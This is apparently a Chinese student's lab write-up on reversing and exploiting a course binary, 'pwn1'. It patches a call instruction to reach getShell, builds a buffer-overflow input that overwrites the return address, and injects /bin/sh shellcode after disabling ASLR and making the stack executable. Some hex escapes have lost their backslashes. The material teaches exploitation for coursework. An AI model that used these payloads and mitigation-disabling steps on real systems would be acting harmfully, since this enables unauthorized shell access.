• 2018-2019-2 网络对抗技术 20165333 Exp1 PC平台逆向破解


    1 逆向及Bof基础实践说明

    1.1 实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。然后学习如何注入运行任何Shellcode。

    1.2 实践内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    简单的思路

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

    1.3 基础知识

    • 需要知道一些常用的Linux命令
    • 能看得懂汇编、机器指令、EIP、指令地址。
      NOP:机器码:90。类似一个空指令,执行时CUP什么都不做,执行过这条指令在执行下一条指令。

    JNE:机器码:75。如果条件不相等跳转到要跳转的位置。

    JE:机器码:74。如果条件相等则跳转。

    JMP:机器码:EB。直接跳转到所需跳转的位置。
    下面就是任务步骤了!

    任务一 直接修改程序机器指令,改变程序执行流程

    拿到文件pwn1,做任务之前,当然要先备份一个,防止把源文件给改坏了,用cp命令
    用命令objdump -d pwn5333 | more 对文件反汇编

    • 看到代码,其中call 指令,是要调用在0848491 处的foo函数,我们的目的就是把这个地址改了,让它调用getshell函数

    • 对应机器指令为“e8 d7ffffff”,e8就是跳转的意思,本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,

    • main函数调用foo,对应机器指令为“ e8 d7ffffff”,

    • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
      具体操作:

    • 使用命令vi pwn1修改文件。

    • 进入之后是乱码,使用:%!xxd转换为16进制显示。

    • 使用/d7命令寻找e8d7ffffff机器指令所在地。

    • 找到以后按a进入插入模式,修改d7为c3。

    • 然后使用:%!xxd -r换回乱码的样子,再用:wq保存即可。
      如果不放心,再反汇编看一下主函数main是否直接跳转到getshell函数。

    再运行文件pwn就发现可以获取shell了。

    任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

    我的理解是,缓冲区是有限的,当数据超出缓冲区,就会覆盖掉返回地址,重点要测算出缓冲区大小,找到返回地址,把返回地址覆盖为我们想要的返回地址。
    第一步还是备份一下pwn文件,反汇编文件搞清楚几个函数的作用。然后需要用确认输入字符串哪几个字符会覆盖到返回地址。使用gdb pwn

    确认输入字符串哪几个字符会覆盖到返回地址

    输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

    确认用什么值来覆盖返回地址

    getShell的内存地址,通过反汇编时可以看到,即0804847d。

    因为是小端,所以输入11111111222222223333333344444444x7dx84x04x08

    输入字符串

    由为我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    使用16进制查看指令xxd查看input文件的内容是否如预期
    确认无误后用(cat input;cat) | ./pwn将input中的字符串作为可执行文件的输入

    任务三 注入Shellcode并执行

    准备工作

    先使用apt-get install execstack安装execstack
    设置堆栈

    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    

    关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

    构造要注入的payload

    先注入一段代码,构造一个input_shellcode:

     perl -e 'print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input_shellcode
     //上面的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
     //特别提醒:最后一个字符千万不能是x0a
    

    运行代码(cat input_shellcode;cat) | ./pwn
    在另一个窗口用ps -ef | grep pwn查看pwn进程号

    启用gdb调试进程,attach xxxxx(进程号)与进程建立连接
    disassemble foo反编译;
    设置断点break *0x080484ae
    在另一个终端回车一下。
    查看esp

    要改的地址0xffffd30c + 0x00000004 = 0xffffd310
    修改成功

    实验中遇到的问题

    第一次任务三没有成功

    发现原来是input_shellcode的代码没有输对(因为没粘贴全)。尴尬,做了好几次才发现。

    回答漏洞

    我觉得漏洞就是系统或者文件的一些缺陷,有的可以解决,有的就很难,攻击者可以利用漏洞对用户做出攻击造成损失。
    漏洞的危害就是导致系统不安全不可靠,影响机密性。

    实验感受

    做完实验,第一感觉自己很不认真,照着步骤做还做了好久,复制粘贴代码都会错,基本没救;对缓冲区溢出攻击的原理有了更清晰认识,思路更加清晰,但是还有一些小问题没有理解,还要请教大佬们,上课认真听讲!

  • 相关阅读:
    Java实现 蓝桥杯VIP 算法训练 字符删除
    Java实现 蓝桥杯VIP 算法训练 字符删除
    Java实现 蓝桥杯VIP 算法训练 字符删除
    Java实现 蓝桥杯VIP 算法训练 字符删除
    Java实现 蓝桥杯VIP 算法训练 字符删除
    Java实现 蓝桥杯VIP 算法训练 字符串编辑
    Java实现 蓝桥杯VIP 算法训练 字符串编辑
    Java实现 蓝桥杯VIP 算法训练 字符串编辑
    Java实现 蓝桥杯VIP 算法训练 字符串编辑
    Java实现 蓝桥杯VIP 算法训练 字符串编辑
  • 原文地址:https://www.cnblogs.com/challengeeverthing/p/10545132.html
Copyright © 2020-2023  润新知